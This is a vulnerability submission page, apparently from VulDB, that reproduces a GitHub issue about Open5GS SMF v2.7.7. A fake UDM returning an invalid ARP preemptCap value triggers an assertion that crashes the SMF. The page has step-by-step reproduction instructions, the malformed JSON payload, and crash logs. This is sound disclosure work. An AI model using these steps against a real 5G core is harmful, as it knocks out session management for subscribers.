| 标题 | Open5gs SMF v2.7.7 Denial of Service |
|---|
| 描述 | Open5GS Release, Revision, or Tag
v2.7.7
Steps to reproduce
Description
SMF crashes when the nudm-sdm Session Management Subscription Data response
contains _5gQosProfile.arp.preemptCap outside the expected enum set.
The smf_nudm_sdm_handle_get() path copies the ARP values from the UDM
response into session state and then asserts that the internal mapped value was
set:
if (_5gQoSProfile->arp->preempt_cap ==
OpenAPI_preemption_capability_MAY_PREEMPT)
sess->session.qos.arp.pre_emption_capability =
OGS_5GC_PRE_EMPTION_ENABLED;
else if (_5gQoSProfile->arp->preempt_cap ==
OpenAPI_preemption_capability_NOT_PREEMPT)
sess->session.qos.arp.pre_emption_capability =
OGS_5GC_PRE_EMPTION_DISABLED;
ogs_assert(sess->session.qos.arp.pre_emption_capability);
Unknown enum strings are parsed as 0, so the request reaches the assertion
instead of being rejected cleanly.
This issue is distinct from the PCF callback ARP issue already reported in
report/smf/: here the crash is on the SMF-to-UDM client path.
Steps to reproduce
Stop the real udm.
Register a fake UDM NF instance into the SMF local cache via
POST /nnrf-nfm/v1/nf-status-notify, advertising nudm-sdm on 10.33.33.12.
Add 10.33.33.12 udm.open5gs.org to /etc/hosts inside the smf
container so the fake endpoint is reachable.
Run a fake h2c UDM on 10.33.33.12:80 that answers:
[
{
"singleNssai": { "sst": 1 },
"dnnConfigurations": {
"internet": {
"pduSessionTypes": {
"defaultSessionType": "IPV4",
"allowedSessionTypes": ["IPV4"]
},
"sscModes": {
"defaultSscMode": "SSC_MODE_1",
"allowedSscModes": ["SSC_MODE_1"]
},
"5gQosProfile": {
"5qi": 9,
"arp": {
"priorityLevel": 8,
"preemptCap": "BOOM",
"preemptVuln": "NOT_PREEMPTABLE"
},
"priorityLevel": 8
},
"sessionAmbr": {
"uplink": "1000 Kbps",
"downlink": "1000 Kbps"
}
}
}
}
]
Send a normal POST /nsmf-pdusession/v1/sm-contexts request with a valid
multipart n1SmMsg.
Check fake UDM and SMF logs:
docker logs --since 2026-04-11T07:17:30Z smf
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' smf
Logs
Fake UDM:
REQ GET /nudm-sdm/v2/imsi-001011234567882/sm-data?dnn=internet&plmn-id=%7B%22mcc%22%3A%22001%22%2C%22mnc%22%3A%2201%22%7D&single-nssai=%7B%22sst%22%3A1%7D
RESP sm-data 398
SMF state:
exited 139 2026-04-11T07:17:30.392125906Z
SMF log:
04/11 07:17:30.007: [sbi] INFO: [fake-udm] Setup NF Instance [type:UDM] (../lib/sbi/path.c:307)
04/11 07:17:30.232: [smf] FATAL: smf_nudm_sdm_handle_get: Assertion `sess->session.qos.arp.pre_emption_capability' failed. (../src/smf/nudm-handler.c:200)
Expected behaviour
SMF should reject invalid ARP enum values in the UDM response and fail only the
affected transaction.
Observed Behaviour
The crafted nudm-sdm sm-data response aborts the entire SMF process with
exit code 139.
eNodeB/gNodeB
Not required.
UE Models and versions
Not required. |
|---|
| 来源 | ⚠️ https://github.com/open5gs/open5gs/issues/4455 |
|---|
| 用户 | ZiyuLin (UID 93568) |
|---|
| 提交 | 2026-07-15 15時37分 (2 月前) |
|---|
| 管理 | 2026-08-30 08時10分 (2 months later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 397085 [Open5GS 直到 2.7.7 SMF src/smf/nudm-handler.c smf_nudm_sdm_handle_get preemptCap 拒绝服务] |
|---|
| 积分 | 20 |
|---|